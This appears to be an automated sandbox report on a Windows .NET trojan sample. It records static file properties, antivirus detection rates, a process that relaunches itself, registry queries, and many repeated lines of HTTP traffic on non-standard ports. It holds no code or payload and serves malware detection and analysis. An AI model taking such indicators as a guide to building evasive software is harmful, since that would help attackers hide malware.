Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.223233962.000000000393A000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSwells.exe4 vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000001.00000002.220976731.00000000005CE000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameMethodAttributes.exe\ vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.466285029.00000000008DE000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameMethodAttributes.exe\ vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468118490.000000000107A000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.465827946.000000000041A000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenameSwells.exe4 vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Binary or memory string: OriginalFilenameMethodAttributes.exe\ vs 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal68.troj.winEXE@3/1@0/1

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe.log

Jump to behavior

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Virustotal: Detection: 38%
Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	ReversingLabs: Detection: 67%

Source: unknown	Process created: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe 'C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe'
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process created: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process created: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: System.ServiceModel.pdbl6 source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468518828.000000000112E000.00000004.00000001.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbj source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.468229225.00000000010A2000.00000004.00000020.sdmp
Source:	Binary string: jHC:\Windows\System.ServiceModel.pdb source: 7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe, 00000002.00000002.466476163.0000000000CF8000.00000004.00000001.sdmp

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 1_2_0279F990 pushfd ; iretd	1_2_0279F991
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050FA1F7 push E801005Eh; retf	2_2_050FA201
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Code function: 2_2_050F98A0 push 38050ACBh; retf	2_2_050F98A5

Source: initial sample

Static PE information: section name: .text entropy: 7.50941268753

Hooking and other Techniques for Hiding and Protection:

Uses known network protocols on non-standard ports

Show sources

Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 11556
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 11556 -> 49725

Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\7C3BEB3D9B0A8E0BDC6344A24B3B527B96CB9C845AA68.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
